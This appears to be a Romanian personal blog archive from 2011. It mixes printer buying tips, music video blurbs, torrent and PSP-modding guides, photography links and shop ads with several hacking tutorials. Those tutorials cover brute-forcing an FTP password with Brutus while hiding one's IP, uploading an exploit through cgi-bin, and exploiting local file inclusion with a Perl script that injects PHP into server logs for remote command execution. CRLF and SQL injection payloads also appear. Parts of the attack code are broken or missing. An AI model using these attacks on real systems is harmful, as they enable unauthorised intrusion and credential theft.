( Simplu, dar greu de aflat! )

marți, 20 decembrie 2011

Tips How To Buying A Printer

12:14:00 By

Today i want to give you my advice about buying a printer.

This few steps help you to have a good printer and no worries.

Step one:

Pay special attention to consumables. Many of us already have one or more printers “put to storage” because it is very expensive to print on them. Ordinary consumables last just for few pages despite most manufacturers would like to assure you that you can print hundreds of pages per cartridge. They calculate the number of pages printed in the conditions that suit them best, most of the times for “draft” printing, meaning very poor quality when the text is barely readable at 5% page coverage or even less… OK, not surprised that a cartridge will last “for so long” when you are printing almost white pages! The reality is different and most of us know about it: ordinary cartridges contain very little ink and cost a lot of money, and a full set of cartridges costs a lot, close the price of the new printer. So we kindly advise you to make sure that the printer or multifunction device you want is compatible with a CISS system or some sort of refillable cartridges

Step Two:

Avoid printers using consumables with the print head “built in” the cartridge - these are usually the cheaper, entry price printers. Although theoretically you find CISS systems for them, the CISS will not work properly, over the long term, because the printhead is lower quality and designed to last only for a short period of time, until you will buy a new cartridge. We would rather recommend to target the mid or top-range of printers, which are able to deliver superior performance and use a permanent print-head together with separate ink cartridges per each color.

Step Three:

Inkjet or laser? We suggest you go for Inkjet: it is more flexible, you can print color and black and white, on plain paper and photo paper. Laser on the other hand, generally prints in black&white only (only expensive models can print color) and generally only on plain paper. Also, the inkjet is more affordable and takes up less room than the laser.

Step Four:

If you are passionate about photography and very demanding with the quality of print-outs you will probably be please with a “Photo” printer. Unlike the ‘normal’ printers, the “Photo” printer composes images using multiple colors (5, 6 or 8 instead of 4 for normal equipment). It can also print text documents as well as photos or graphics. Also important to mention is that usually Photo printers are able to print on printable CDs / DVDs (usually found in any hypermarket). Specifically, we recommend few models able to print beautiful photos and also very fast:
CISS Epson Stylus Photo P50
CISS Canon Pixma iP4850 / 4950 (printers)
Canon MG5250
Epson PX720/820 (multifunction).

luni, 28 noiembrie 2011

Ciss - Continuous ink supply system - How Does It Work

Continuous ink supply systems (CISS) are aftermarket kits for inkjet printers that feed ink to a special permanent cartridge via tubes connected to external bottles or reservoirs. The cartridge never runs dry or needs to be replaced. Instead ink can simply be added to the bottles as they run low.

Continuous ink supply systems save the user substantial money in replacement cartridges, which on top of cost, are discarded while still holding ink. Bottled ink is not only more economical but all ink is eventually used.

Another advantage of continuous ink supply systems is that the cartridge is always full, delivering even color every time that remains consistent regardless of the size of the print run.

Continuous inking system kits made for these printers have their own write-protected microchip attached to the cartridge. This chip tells the printer the cartridge is always 100% full, negating the need to change it. Cartridges included in continuous inking systems are specially made for longevity.

are recommended for:
CISS Epson
CISS Canon

  • And is 20 times cheaper compared with ordinary ink cartridges.
  • The printing quality is similar to that obtained from using ordinary cartridges.

Stop wondering what is CISS. Now you know

vineri, 9 septembrie 2011

Configuratie PC - Valoare 1300 Lei

15:08:00 By

joi, 25 august 2011

Povesti pentru copii

joi, 7 iulie 2011

BUG Mafia feat. Loredana - Fara Cuvinte

Piesa "Fara Cuvinte" este extrasa de pe albumul "Inapoi in viitor" pe care baietii urmeaza sa il lanseze in acest an. Single-ul face aluzie la modul in care ii lasa pe baieti rautatea pe care o vad in jur. Ca sa inspire decaderea societatii, si videoclipul s-a filmat printre ruine. Ideea i-a placut Loredanei, care nu este singura surpriza pregatita de mafioti :). Alaturi de Loredana in clip mai apar Dragos Bucur si Mirela Oprisor

Raluka - Out of your business

Materialul a fost realizat in colaborare cu Rappin’ On Production, piesa produsa de Chris Mayer si Connect-R se bucura deja de success la radio si in mod cert se aude deja si pe plaja.

Raluka a realizat pentru Out of you business un videoclip care pune in imagini textul, mai mult sau mai putin fidel

Angelika Vee - Tokyo Love

Videoclipul piesei "Tokyo Love" a fost regizat si produs de Devin Dygert si dupa cum vedeti a fost unul low budget, dar de efect. Toate veniturile incasate de pe urma vanzarii piesei pe internet vor fi donate organizatiei "American Red Cross", pentru ajutorarea copiilor din Japonia afectati de cutremur si tsunami.

Jimmy Dub - Sunglasses

Dupa succesul primului sau single “Monday”, Jimmy Dub a lansat provocarea “put your sunglasses on”. Vara a inceput, iar piesa marca “Rappin on Production” a avut parte de un feedback bun din partea fanilor, astfel incat isi face aparitia si videoclipului piesei “Sunglasses”.

SIGN Vs Dj Andi - You Got Me

Baietii de la SIGN au lansat videoclipul piesei "You Got Me", realizata in colaborare (versus) Dj Andi. Melodia este primul single al baietilor si a fost produsa de George Hora in Studio 66 Timisoara

Maximilian feat. MefX - Sophie

Muzica single-ului "Sophie" a fost realizata de MefX, un artist din Pitesti pe numele sau real Madalin Slaniceanu, textul apartine celor doi, de mix s-a ocupat Grasu XXL la Okapi Sound, iar de master Cristi Dobrica. Videoclipul piesei a fost regizat de Matei Plesa si a avut premiera pe Music Channel in cadrul emisiunii Hip Hop Hour.

Despre Torente si Bitcometul

Bitcometul este un program de freeshare care face posibila
conectarea intre useri pe internet.
(1) Instalati programul.
(2) Cautati pe internet ce doriti sa downloadati, sub urmatorul format.
Denumirea a ceea ce cautati langa care adaugati "torrent".
Exemplu :starwars torrent
(3) Downloadati torrentul(un fisier de cativa mb)
(4) Da-ti click pe fisierul respectiv care este de fapt un alt programel care ii spune
"bitcometului de unde sa downloadeze, iar "bitcometul" va porni automat.
Va va intreba unde vreti sa salvati ce descarcati etc.
(5) Cand a terminat de descarcat, este posibil ca filmul, jocul, sau
programul cautat, sa apara precum mai arhive rar sau zip, deoarece dowloadul
se face de la mai multi useri simultan ,iar ceea ce ati descarcat este "despachetat"
in mai multe bucatele.
(6) "Impachetati" la loc.Da-ti click dreapta pe prima arhiva rar sau zip,
si selectati "extract to", sau folositi winrar si faceti acelasi lucru.
(7) Ceea ce ati extras va fi in format avi, bin, iso, etc. iar de aici cred ca va descurcati.
PS: Unele arhive sunt corupte. Ca sa le reparati folositi winrar-ul.

Cum sa modezi un PSP Phat/Slim&Lite

Modarea unui PSP inseamna instalarea unui firmware (softul PSP-ului) pe PSP astfel incat sa permita rularea de jocuri si a altor aplicatii direct de pe card. Puteti moda orice PSP 1000 (modelul PHAT) si aproape orice PSP 2000 (modelul Slim&Lite). Nu se pot moda momentan PSP 3000 si PSP 2000 cu modelul de placa de baza TA-088v3.

1. Un PSP deja modat;
2. Un PSP nemodat (d’ohh);
3. Un card de minim 512 MB. Recomand: Sony, SanDisk, Lexxar. Nu recomand fake-uri si no-name-uri. Desi si acestea din urma merg, pot aparea erori;
4. Un cablu miniUSB;
5. Atentie mare.

MMS = card special pregatit pentru modarea unui PSP;
Pandora battery (baterie Pandora) = baterie creata pentru a putea moda un PSP;
5.00 M33-4 = softul PSP-ului;
Modare = am explicat in prima fraza a tutorialului.

Crearea unui MMS:
1. Descarcati “Rain’s Ultra Lite MMS“
2. Descarcati firmware-ul oficial 5.00
3. Introduceti cardul in PSP-ul modat;
4. Conectati PSP-ul modat la PC si intrati in “USB Mode“;
5. Copiati “RainsUltraLiteMMS.exe” si “500.pbp” in acelasi folder;
6. Porniti “Rain’s Ultra Lite MMS“;
7. Bifati “Format Memory Stick“;
8. Apasati pe “Make MMS“.

Crearea unei baterii pandora
1. Descarcati “Hellcat’s Pandora Installer“
2. Conectati PSP-ul modat la PC cu cardul creat mai sus in el;
3. Dezarhivati “pan3xx.rar” si copiati folderul “pan3xx” in folderul “PSP/GAME“;
4. Iesiti din “USB Mode“;
5. Va duceti la “Games“;
6. Rulati “Hellcat’s Pandora Installer“;
7. Va duceti la “Battery options…”
8. Apasati pe “make battery Pandora“;
9. Va aparea un mesaj de genul “battery pandorized“;
10. Apasati pe “back to main menu“;
11. Apasati pe “Quit“.

Modarea PSP-ului
1. Scoateti bateria si cardul din PSP-ul modat;
2. Scoateti bateria si cardul din PSP-ul nemodat;
3. Introduceti cardul din PSP-ul modat in PSP-ul nemodat;
4. Tineti apasat pe butonul din stanga sus al PSP-ului nemodat si inserati bateria din PSP-ul modat;
5. PSP-ul va porni automat;
6. Apasati pe “Install 5.00 M33-4“;
7. Asteptati ca instalarea sa termine;
8. Porniti PSP-ul;
9. Va duceti la “Games“;
10. Rulati “Hellcat’s Pandora Installer“;
11. Va duceti la “Battery options…“;
12. Apasati pe “make battery normal“;
13. Va aparea un mesaj de genul “battery normalized“;
14. Apasati pe “back to main menu“;
15. Apasati pe “Quit“;
16. Va duceti la “Settings” (primul meniu din stanga);
17. Va duceti in jos la “System“;
18. Cautati si apasati pe “Format Memory Stick“.

Gata, acum aveti al 2-lea PSP modat.
Resurse: Il gasiti in acelasi folder :D .

Tehnica Brute Force - Cum sa spargi un site

Se poate afla parola unui server folosind metode mai putin inteligente cum ar fi conectarile repetate.
Pentru acest lucru este necesar un program de brute force cracking.
Cel mai bun program de acest tip este 'Brutus'. In motorul de cautare tastati 'Brutus' sau 'brute force', pe care il gasiti la sectiunea DOWNLOAD.
Dar cel mai bine se intelege privind urmatorul exemplu. Sa presupunem ca serverul www.server.com are client ftp.
Incercam prima data o conexiune: Deschidem Start/Run si tastam:

open ftp.server.home.ro

connecting to server running WU_FTPD(ftp.debbie.server.com): {introduceti debbbie}
userid/password incorrect login failed

Dupa cum am vazut serverul,chiar daca nu a permis conectarea,a fost destul de amabil incat sa ne ofere doua informatii
de mare inportanta:

tipul de server:WU_FTPD

Ori gasim un exploit pentru wu_ftpd ori incercam un brute force cracking.
Programul Brutus ofera doua posibilitati de a ataca un server:folosind un dictionar de parole sau incercand toate combinatiile posibile.
Din moment ce stiti username-ul inlocuiti fisierul 'users.dat' care este livrat cu Brutus cu un fisier in care puneti
un singur nume si anume 'debbie'.Fisierul astfel creat puteti sa-l denumiti tot 'user.dat'.
Tot ce va ramane de facut dupa ce ati facut setarile este sa asteptati.
Dupa ce epuizati incercarile cu dictionarul,setati optiunea 'brute force' si selectati optiunile dorite.
Ideal ar fi sa stim lungimea parolei sau numarul de caractere din care este alcatuita parola precum si natura acestora.
Initial eu obisnuiesc sa fac urmatoarele setari privind parola:

length min:0
length max 10
custom char :0123456789

In felul acesta incerc intai toate combintiile numerice posibile apoi schimb optiunea cu litere:
custom char:abcderftyijop

Aceasta metoda este absolut sigura dar are doua dezavantaje majore:

1)Timpul mare de asteptare (1 ora-cateva luni Wink depinde de noroc).Pentru cineva care are Net-ul pe Lan nu este o problema(firma sau alta institutie).
2)Ip-ul dvs este inregistrat,asa ca incercati sa folositi un proxy server sau un program
precum 'jammer' care zice-se ca ascunde numarul de telefon.

Voi mai da un exempu de bug in ftp:

open ftp.server.com 220
connecting to........(ftp.server.com):ftp {introduceti un user implicit} password:guest

ftp>dir 'tastati dir sa vedeti la ce directoare aveti acces'
Daca vedeti un director numit cgi-bin,cgi-win sau script atunci servrul este hackerit!!!
Cautati un exploit adecvat pentru sistemul de operare respectiv (stiti cum sa-l aflati) il puneti pe desktop,
apoi dati urmatoarea comanda(pres. ca exploitul se numeste expl.exe):

cd cgi-bin(sau ce director gasiti)
put expl.exe

apoi tastati 'quit' ,deschideti browserul si tastati(pres. ca directorul este cgi-bin):


cum sa exploatati vulnerabilitatea dintr-un site

Mai intai, sa vedem acest mic cod php:

$page = $_GET[page];

Acesta este un cod care nu ar trebui folosit niciodata, vulnerabil la LFI, pentru ca variabila $page nu este santinizata.

Ok, acum sa profitam de aceasta vulnerabilitate, folosind urmatorul cod:


In unele cazuri nu mai este nevoie sa punem ../../../../../../.., etc/passwd fiind de ajuns pentru a avea acces unde trebuie

Daca siteul este gazduit Unix, parolele userilor sunt stocate in /etc/passwd (in cazul in care parola nu este shadow, in acest caz ea aflandu-se in /etc/shadow, unde vom putea avea acces doar daca am avea drepturi de root), si codul de mai sus ne arata aceste parole si usernameurile. Acum tot ce mai ai de facut este sa decodezi parola.
O parola criptata(in acest caz, parola este shadowed si se afla in /etc/shadow), ar trebui sa arate cam asa:


In acest caz, parola este shadowed si se afla in /etc/shadow), alt exemplu de parola fiind:


Alte "locuri" unde puteti gasi parolele in afara de /etc/passwd ar cam fi:


In caz ca Browserul va arata la sfarsitul includerii un .php (si automat. /etc/passwd.php nu va mai exista), adaugati la sf includerii , serverul va omite tot ce scrie dupa .
Exemplu de cod:


Acum vom incerca sa rulam comenzi pe server injectand coduri php in loguri, apoi rulandu-le.
Cateva adrese de loguri:


Ok, acum sa aruncam o privire asupra logului in care se salveaza paginile care nu exista si urmatorul cod: . Daca scriem in browser:


O sa ne arate evident o pagina in care scrie ca acest cod nu exista pe server, deoarece browserul encodeaza automat URL'ul si pagina pe care noi am accesat-o, browserul o traduce in:


Deci va trebui sa facem altceva... Putem utiliza urmatorul script perl:

#!/usr/bin/perl -w
use IO::Socket;
use LWP::UserAgent;
$log = "../../../../../../../etc/httpd/logs/error_log";

print "Trying to inject the code";

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die " Connection Failed. ";
print $socket "GET ".$path.$code." HTTP/1.1 ";
print $socket "User-Agent: ".$code." ";
print $socket "Host: ".$site." ";
print $socket "Connection: close ";
print " Code $code sucssefully injected in $log ";

print " Type command to run or exit to end: ";
$cmd = ;

while($cmd !~ "exit") {

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die " Connection Failed. ";
print $socket "GET ".$path."index.php=".$log."&cmd=$cmd HTTP/1.1 ";
print $socket "Host: ".$site." ";
print $socket "Accept: */* ";
print $socket "Connection: close ";

while ($show = <$socket>)
print $show;

print "Type command to run or exit to end: ";
$cmd = ;

Copy/Paste la chestia asta si salveaz-o ca ex.pl, dar nu uita sa modifici in exploit urmatoarele lucruri:
1) modifica numele siteului
2) modifica numele logului si calea catre el
3) schimba index.php= cu ce doresti tu

Rulati scriptul si el va va intreba ce comenzi sa rulati !!! Va descurcati de aici incolo !!!

Linkuri utile: http://www.milw0rm.com/video/watch.php?id=57

Acesta este un mic tutorial video, incercati sa-l vizionati ca este foarte bun

Ce este CRLF injection?

Termenul crlf vine de la carriage return ( bagaj intoarcere) . acasetea sunt caractere acsii care nu se vad pe ecran sunt folosite in mod viclean
de windos penmtru a indica sfarsitul unei linii. In linux, sfarsitul liniilor este indicat doar de folosirea line feed.
Combinarea lui cr cu lr este folosita de exemplu atunci cand apasam enter pe tastatura. In functie de aplicatia folosita, in mod general instruim
aplicatia sa inceapa o noua linie sau sa trimita o comanda.
Un atac crlf apare atunci cand un hacker injecteaza comanda crlf in system.
Acest tip de atac nu este o gaura a tehnologiei in sistemul de opearare sau in softul serverului, dar depinde in mare masura de felul in care este
dezvoltat siteul. Unii constructori, sunt inconstienti de tipurile de atac de acest fel si lasa porti deschise atunci cand construiesc aplicatii
web, permitandu-le hackerilor sa infiltreze comenzi crlf.

Ce poate face un atacator daca siteul este vulnerabil.

Chiar dak atacatorul gaseste un site deschis infiltratiilor crlf, el este limitat de structura aplicatiei si cat de severa e fisura in system.
La unele tipuri de siteuri, aceasta fisura poate fi letala ptr. securitatea aplicatiei.in alte cazuri, acesta poate fi un mic bug, cu prioritati
minime.totul depinde de felul in care fisura permite userului sa manipuleze aplicatia web.
Exemplu 1 de CRLF Injection atac.
Orice tip de patrundere a userului poate fi o problema de securitate dak nu valida
Here is a sample basic log file:

Date UserName Message
25/07/2005-14:23:47 GoodSurfer I perfectly agree![/list:u]

This log file is perfectly normal, however if a user had to input something like:
I also agree with you..n25/07/2005-15:00:00 AnotherSurfer What are you talking about!?
The log file would then look like this:

Date UserName Message
25/07/2005-14:23:47 GoodSurfer I perfectly agree!
25/07/2005-14:42:19 BadSurfer I also agree with you..
25/07/2005-15:00:00 AnotherSurfer What are you talking about!?[/list:u]

In acest caz, din moment ce scurgerea nu este chiar filtrate de la cr si lf , userul a creat o intrare falsa in fisierul de logare.
Exemplu 2 de CRLF Injection atac
Multe protocoale de retea ( http) folosesc mult combinatii de comenzi carriage return si line feed din moment ce fiecare linie folosita in acest
protocol este separata de crlf. dak un user este capabil sa defineasca un salt http nefiltrat, it poses a risk, din moment ce userul poate fi
din acel moment capabil sa comunice direct cu serverul, facand legatura cu stratul aplicatiei.
De exemplu, headerul unui e-mail, news, si http se bazeaza pe structura “ cheie: valoare”,Si fiecare linie este definite printr-o combinatie
crlf la final.Locatia: headerul este folosit in http ptr a face redirectarea catre un alt url si un “set-cookie”:headerul este folosit ptr
cookie.Daca aceste intrari nu sunt validate , caracterele cr si lf pot fi introduce in user imput (intrarea userului) , si astfel scripurile
web pot fi prostite sa faca alte lucruri decat cele pentru care au fost create.
Daca intrarea nu este scanata de cr si lf si scripul contruieste o redirectare cu stringul:
.If the input is not checked for CR and LF and the script constructs a redirect with the string:
Location: $url%0d%0a
Noi putem redirecta spre un site in timp ce setam un cookie , setand $url (ca un singur string) catre:
http://www.i-was-redirected.com/%0d%0aSet-Cookie: Authenticated=yes%0d%0aReferer: www.somesite.com
Daca un atacator poate salva url-ul spre care este redirectat un alt user, inclusive cookie-urile,cu date importante, acest lucru poate deveni

Cum scanam dupa CRLF Injection
Cel mai bun mod de a scana siteul de vurnelabilitati este sa folosesti un web vulnerability scanner.Acesta verifica vulnerabilitati CRLF si
va vor da totul ptr. a le putea fixa.
Prevenirea atacurilor CRLF.
Cel mai bun mod de a te apara impotriva crlf-ului este sa filtrezi in mod extins orice intrare pe care oi poate face un user.Unul sa “stearga
totul mai putin informatiile bune” si sa filtreze meta caracterele primate prin intrarile userului.Aceasta va asigura ca doar ceea ce e util
va intra pe campul site-ului si si va fi trimis catre server.

Nu am tradus acolo unde pricepea toata lumea... imi pare rau daca nu e pe intelesul tuturor.

Despre tehnica SQL injection

Tehnica SQL injection da posibilitatea unui atacator sa execute comenzi SQL neautorizate porfitand de oportunitati neortodoxe de intrare in aplicatiile
web construind interogari SQL dinamice.
Acesta devine posibil deoarece PHP combina sirurile interogarilor MYSQL pe care le setezi cu variabila inainte pentru ca cineva sa poata adauga o a
doua interogare sau schimba interogarea ta pentru a le oferi informatii sau acces pe care nu ar trebui sa il aiba. Cele mai obisnuite dintre aceste
intrari includ apostrofuri unescaped in declaratiile SQL.


Considerati urmatoarea interogare SQL in PHP:
$result=mysql_query('SELECT * FROM users WHERE username="'.$_GET['username'].'"');

Interogarea selecteaza toate randurile din tabelul userilor unde username-ul este acelasi cu cel din sirul de interogari. Daca priviti cu atentie,
veti realiza ca declaratia este vulnerabila la SQL injection - apostroful in $_GET['username'] nu sunt , si prin urmare nu vor fi cuprinse ca parte
din declaratie, ceea ce permite un comportament defectuos.
Ganditi-va ce s-ar intampla daca $_GET['username'] ar fi urmatorul: " OR 1 OR username = " (dublu apostrof, urmat de textualul " OR 1 OR username = "
urmat de un alt dublu apostrof). Cuprins in expresia originala, interogarea devine urmatoarea: SELECT * FROM users WHERE username = "" OR 1 OR
username = "". Altfel, un dublu apostrof va ramane la sfarsitul afirmatiei.

Aceasta selecteaza toate sirurile din tabelul userilor. Desi nu pare periculos, alte coduri infectate pot fi adaugate, mai ales in interogarile
DELETE sau UPDATE care modifica tabelul.
De asemenea, un alt sir de coduri SQL poate fi adaugat la SELECT * FROM `users` WHERE username = '' adaugand un apostrof sau o semicoloana la
sfarsit, astfel sirul devene SELECT * FROM `users` WHERE username = ''; ' care cu usurinta se transforma in SELECT * FROM `users` WHERE
username = ''; DELETE * FROM `forum` WHERE title != ''


Niciodata sa nu aveti incredere in informatiile userului, procesati informatia numai dupa validare. De regula, aceasta se face prin pattern
matching. In exemplul urmator, username-ul este restrictionat la caractere alfanumerice plus underscore si cu o lungime cuprinsa intre 8-20
caractere – modificati la nevoie.

if (preg_match("/^w{8,20}$/", $_GET['username'], $matches))
$result = mysql_query("SELECT * FROM users WHERE username=$matches[0]");
else // we don't bother querying the database
echo "username not accepted";

O buna practica in codare afirma ca apostrofurile duble ar trebuie folosite mereu in oricarei informatii variabile. Ori folosing slash dublu
apostrof , ori apostrof simplu, cadrand intreaga interogatie, pentru ca tipul opus de interogatie sa nu trebuiasca escaped, desi acelasi tip
de apostrof trebuie escaped.
$result = mysql_query('SELECT * FROM users WHERE username = "$usern"');


$result = mysql_query("SELECT * FROM users WHERE username = "$usern" ");

Pentru o siguranta mai mare, renuntati la executarea scriptului inlocuind echo cu exit() or die().
Aceasta inca se mai aplica atunci cand se folosesc checkboxuri, butoane ratio, liste de selectie, etc. Orice browser cerut (chiar si POST)
poate fi REPLICATED prin telnet, situri duplicate, javascript, sau codare(chiar si PHP), asadar intotdeauna trebuie sa fiti prevazatori
in privinta restrictiilor pentru codarea aferenta clientului.

Folosirea mysql_real_escape_string()

PHP ofera o functie care se ocupa cu inserarea userului in MySQL, si aceea este mysql_real_escape_string(string unescaped_string[, resource
link_identifier]). Acest script scapa de toate caracterele potential periculoase din sir si transforma sirul escaped intr-unul prudent
pentru a fi folosit in sirul MySQL.
(Functia originala, myqsl_escape_string, nu a luat in considerare caracterul curent pentru a iesi din sir, nici nu a acceptat argumentul
conexiunii. Este dezaprobata inca de la PHP 4.3.0) Spre exemplu, luati urmatorul exemplu:

$result=mysql_query('SELECT * FROM users WHERE username="'.$_GET['username'].'"');

Aceasta poate fi escaped dupa cum urmeaza:

$result=mysql_query('SELECT * FROM users WHERE username="'.mysql_real_escape_string($_GET['username']).'"');

Astfel, daca userul a incercat sa insereze o alta declaratie in afara de DELETE, ar fi interpretat inofensiv ca o parte din parametrul clauza WHERE:

SELECT * FROM `users` WHERE username = '';DELETE * FROM `forum` WHERE title != ''

Backslashurile adaugate de mysql_real_escape_string face ca MySQL sa le interpreteze ai degraba ca si caractere cu un singur apostrof
decat ca si parte din declaratia SQL.
Luati la cunostinta cu MySQL nu permite multe interogari asadar DELETE FROM din tabel nu merge oricum.
Autor madaeroblade

marți, 5 iulie 2011

Anunturi Online - LaVedere.com

Vrei să-ţi vinzi maşina, casa, telefonul, soacra sau orice altceva şi nu găseşti cumpărător?

Nimic mai simplu. Platforma de Anunţuri OnLine a portalului LaVedere.com este acum deschisă pentru oricine. Cu un cont care se creează gratuit in mai puţin de 10 secunde, poţi adăuga orice fel de anunţ, ce va fi valabil pe site timp de 90 de zile, fără să plăteşti nimic!

Incearcă acum!


vineri, 17 iunie 2011

Fotografia Macro: Focus Stacking

In acest tutorial video se explica un mod de prelucrare macro, deşi procesul de focalizare este folosit utilizând Adobe Photoshop Lightroom 3 şi Adobe Photoshop CS5 Extended.

Efectiul stivuire este o tehnica care combina mai multe imagini luate la distante diferite se concentreaza pentru a da o imagine care rezultă cu o adâncime mai mare de câmp (DOF) decât oricare dintre imaginile sursă individuale de la sine.

Mai multe informatii aici: http://adf.ly/1q67Z

Tehnici de masurare a expunerii

Masurarea expunerii utilizand exponometrul aparatului tau

Esenta obtinerii unei tehnici de expunere buna si coerenta, este sa se decida care este subiectul actual din scena pe care o fotografiezii .. si apoi sa expui pentru acela. In acelasi mod in care decizi care este subiectul actual pe care doresti sa il focalizeze camera ta, trebuie deasemenea sa decizi care subiect (sau zona a subiectului) este cel pe care il doresti expus corect.

Mai multe info: http://adf.ly/1q5KR

Tehnici de fotografiere cu blit

Ca fotograf, cauti intotdeauna lumina perfecta.
Si totusi, calitatea luminii disponibile nu este intotdeauna ideala. Ea este rareori perfecta.

Dar cred ca utilizand blitul cu inteligenta, esti capabil sa imbunatatesti sau sa domini lumina disponibila. Cu utilizarea cu grija a blitului, controlezi mai multa lumina si astfel modul in care fotografiile tale vor arata - decat daca ai accepta lumina ambienta existenta.

In loc sa astepti lumina perfecta, utilizeza ceea ce ai …
si adauga lumina blitului pentru a obtine maximul din situatia data.

Mai multe info: http://adf.ly/1q5E0

Efecte in fotografia digitala - factor principal lumina

Stilul asta de fotografie a fost inceput de David Hill - http://www.davehillphoto.com si se face in doi pasi. Primul pas este modalitatea de a folosi lumina: se foloseste rim light (lumini de contur sau kick-uri, cum li se mai spune). Al doilea pas este o modalitate de lucru in photoshop folosind layere - se accentueaza umbrele si luminile. Singurul plugin pe care-l cunosc, defapt este o actiune, si se numeste draganizer (dupa Andrzej Dragan) si-l gasesti aici http://adf.ly/1q4sT

Poziti studio pentru fotomodele

O serie de pozitii de studio pentru fotomodele, fisierul este in formatul .pdf si are in jur de 1,5 MB

Download: http://adf.ly/1q4ZI

joi, 16 iunie 2011

Noul Firmware v1.02 update Nikon D7000

Nikon a lansat un update pentru firmware-ul dSLR-ului D7000. v1.02 a firmware-ului rezolva unele buguri si aduce imbunatatiri referitoare la reducerea zgomotului, redarea si editarea filmelor, si procesarea RAW cu Capture NX 2 sau ViewNX2. Noua versiune poate fi downloadata de pe site-ul producătorului.

Download firmware v1.02 pentru Nikon D7000.

Noul Firmware v1.2.5 update Canon EOS 7D

Canon a lansat un update pentru firmware-ul dSLR-ului EOS 7D.

Versiunea 1.2.5 remediază unele probleme referitoare la fotografii şi înregistrări video pe carduri CF, dar şi unele probleme referitoare la stabilizarea imaginii cu obiective specifice în modul de setări personalizate. Noua versiune îmbunătăţeşte şi citirea/scrierea atunci când se utilizează carduri CF compatibile UDMA 7.

Download firmware v1.2.5 pentru Canon EOS 7D.

Cele mai sigure 20 de telefoane mobile

  1. Samsung Flight SGH-A797 (0.505watts/kg)
  2. Motorola Flipside (0.5watts/kg)
  3. HTC Imagio (0.498watts/kg)
  4. Samsung Contour (0.49watts/kg)
  5. Kyocera Neo E1100 (0.479watts/kg)
  6. Motorola i890 (0.45watts/kg)
  7. Motorola Devour (0.45watts/kg)
  8. Doro PhoneEasy 410 (0.445watts/kg)
  9. HTC Surround (0.439watts/kg)
  10. Samsung Smiley (0.43watts/kg)
  11. Samsung Captivate (0.42watts/kg)
  12. Samsung Evergreen (0.41watts/kg)
  13. Samsung Haven (0.41watts/kg)
  14. LG Quantum (0.35watts/kg)
  15. T-Mobile Sidekick 4G (0.34watts/kg)
  16. Huawei Ideos X5 (0.34watts/kg)
  17. Samsung Replenish (0.3watts/kg)
  18. Samsung Acclaim (0.29watts/kg)
  19. Samsung Infuse 4G (0.2watts/kg)
  20. Samsung Blue Earth (0.196watts/kg)

Telefoanele samsung au cea mai scazunta cantitate de radiatii.

RCS&RDS a lansat oficial Digi Wi-Fi

RCS&RDS au creat un serviciu numit Digi Wi-Fi, internet wireless prin tehnologia Wi-Fi, ca sa te poti conecta rapid la internet, la viteze mari de acces, in locurile din orasul tau pe care le frecventezi cel mai mult!
Simplu si rapid pentru tine. Oricand la indemana.
Si GRATUIT daca esti client RCS&RDS.

Php Clone Collection


Socialengine V4 Dream Template


marți, 31 mai 2011

Un eveniment unic in rochiile Cristallini

Magazinul online Cristallini Boutique te invita sa intampini primavara cu noile modele de rochii superbe si sa pasesti intr-o lume plina de culoare si feminitate. Sa te lasi purtata de eleganta si rafinamentul acestor rochii de seara, menite sa-ti sublinieze senzualitatea si sa te transpuna in basm, macar pentru o seara.

Colectiile sunt caracterizate de ultimele tendinte si stiluri, cu imprimeuri exotice si culori vibrante, cu modele variate potrivite oricarui gust si putand satisface chiar si cele mai mari pretentii.

Pentru un stil misterios si stilat, Cristallini recomanda rochia de seara pe un umar. Acest model de rochie este preferatul multor vedete. Creatiile pe un umar confera un plus de eleganta si stil.

Pentru o vestimentatie sofisticata Cristallini propune rochiile elegante cu flori, accesorii sau aplicatii in forma de floare.

Rochia de ocazie drapata este extrem de feminina, cu o croiala ce aluneca pe linia corpului si te ajuta sa ai un look sexy, dar romantic in acelasi timp.
Daca alegi varianta lunga a rochiei drapate, aceasta aduce cel mai bine aminte de rochiile nimfelor din Grecia antica.

In materie de rochii de seara, in magazinul online Cristallini, eleganta impune anumite linii in care trebuie sa se incadreze modelele cu adevarat stilate.

joi, 19 mai 2011

Descopera rochiile de seara Cristallini

O data cu venirea noului sezon, cu evenimentele care bat la usa, femeile isi pun problema modelului rochiei.

Magazinul online Cristallini pune la dispozitia doamnelor o selectie exclusivista de rochii din colectiile unor creatori renumiti din domeniul rochiilor de seara, rochiilor de ocazie, rochiilor couture, rochiilor de mireasa, rochiilor de cocktail , rochiilor de club, sandalelor elegante si accesoriilor pentru evenimente si momente speciale.

Vizitatoarele vedea zilnic cele mai noi colectii de rochii in magazinul online Cristallini, unde pot comanda online rochia preferata sau pot sa se programeze pentru a proba rochiile la showroom-ul magazinului.

Cristallini Boutique te invita sa intampini evenimentele cu rochii elegante, broderii pretioase, rochii de seara menite sa-ti sublinieze senzualitatea, materiale somptuoase ce urmaresc liniile corpului.

Rochiile couture cu dantela aduc in prim-plan aliura caselor regale, din vremurile medievale. Astfel vei avea o tinuta aristocratica, plina de rafinament, pe care numai dantela ti-o poate oferi.
In 2011 alege o rochie de ocazie colorata, intr-un design cat mai modern si te asigur ca vei fi admirata!

Rochiile elegante cu o croiala care sa-ti puna in valoare silueta, par sa fie ideale pentru de seara speciala. Vei reusi, in acest fel, sa creezi o tinuta degajata si in acelasi timp extrem de indrazneata.

Magazinul online Cristallini iti pune la dispozitie rochii de seara si tinute elegante care iti vor asigura succesul in orice situatie.

luni, 9 mai 2011

Asigurare RCA Ieftina + Acooltest Digital Gratuit

Da, stiu ca este o oferta buna, sa iti faci asigurare RCA destul de ieftin si in plus de asta sa primesti si un mic gadget digital, cu functie de Acooltest.

Toate astea le-am descoperit pe www.rcaland.ro ce este defapt interesant la acest site?

Pai in primul rand aici poti sa iti cumperi asigurari rca online si pentru a beneficia de cea mai ieftina asigurare, pe site poti sa gasesti:

  1. Afisarea tarifelor RCA reale si actuale datorita comparatorului de tarife implementat in site care se conecteaza la serverele societatilor de asigurari pentru obtinerea tarifului real care este influentat in special de clasa Bonus – Malus.
  2. Posibilitatea reala de a obtine mai multe oferte comparate de la diferite societati de asigurari fiind astfel sigur care este cu adevarat cel mai ieftin RCA.
  3. Livrare rapida prin curier oriunde doresti tu, costul este doar 8 lei prin Urgent Curier

Mai mult de atat ai si un centru de informare care cuprinde urmatoarele:
  1. Informatii bazate pe legislatia si practicile actuale
  2. Modul de functionare al asigurarii RCA
  3. Riscuri asigurate
  4. Informatii despre excluderi
